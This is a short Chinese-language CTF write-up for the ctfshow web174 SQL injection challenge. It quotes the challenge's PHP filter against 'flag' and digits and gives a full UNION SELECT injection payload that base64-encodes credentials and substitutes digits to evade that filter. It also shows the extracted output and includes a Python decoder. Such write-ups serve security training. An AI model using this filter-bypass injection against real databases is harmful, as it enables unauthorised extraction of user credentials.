SQL注入:flag不能出现且flag中的数字也不能出现在查询结果当中
ctfshow-web174:
//检查结果是否有flag if(!preg_match('/flag|[0-9]/i', json_encode($ret))){ $ret['msg']='查询成功'; } // /flag|[0-9]/i:不允许字符串中出现数字0-9 需要使用替换的方式:
Payload如下:
99' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ'),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ') from ctfshow_user4 where username='flag' %23
(为了写出来真的是眼睛都快看瞎了,写的时候百般出错…)
ZmxhZnumCthZTljOTcnumJZSnumAjYnumBNiLTQzMTAtODEnumDMCnumAiNThmNjAyNzNhYWRnumI
用Python脚本解码一下:
import base64 flagstr= 'ZmxhZnumCthZTljOTcnumJZSnumAjYnumBNiLTQzMTAtODEnumDMCnumAiNThmNjAyNzNhYWRnumI' flag='' flag=flagstr.replace('numA','1').replace('numB','2').replace('numC','3').replace('numD','4').replace('numE','5').replace('numF','6').replace('numG','7').replace('numH','8').replace('numI','9').replace('numJ','0') print(base64.b64decode(flag))
(先替换再解码)